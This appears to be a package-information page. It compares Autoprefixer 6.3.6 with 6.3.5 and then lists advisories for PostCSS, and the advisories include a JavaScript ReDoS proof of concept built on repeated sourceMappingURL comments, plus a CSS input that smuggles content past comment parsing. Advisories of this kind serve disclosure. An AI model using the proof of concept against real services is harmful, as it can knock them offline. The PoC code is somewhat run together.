Autoprefixer, a widely-used PostCSS plugin, automates the addition of vendor prefixes to CSS rules, ensuring compatibility across different browsers based on data from Can I Use. Comparing versions 6.3.6 and 6.3.5 reveals subtle yet important updates for developers. The key difference lies in the updated dependencies. Version 6.3.6 upgrades the caniuse-db dependency from 1.0.30000436 to 1.0.30000444. This means the newer version incorporates the latest browser support data from Can I Use, granting developers access to the most up-to-date prefixing rules and potentially improving the accuracy of the autoprefixing process. Another impactful change is in browserslist, updated from ~1.3.0 to ~1.3.1, impacting how Autoprefixer determines the target browsers for prefixing. While seemingly minor, this can influence which prefixes are added, tailoring the output to a more specific set of browser versions defined in your project. Development dependencies remain largely identical suggesting the changes were focused on core prefixing data and functionality. Updating from 6.3.5 to 6.3.6 enables developers to leverage the latest browser compatibility information, guaranteeing a more accurate and efficient prefixing process for their CSS, which ultimately means a better and more consistent experience for end-users across various browsers. Consider upgrading for the most current browser prefixing rules and optimal performance!
All the vulnerabilities related to the version 6.3.6 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.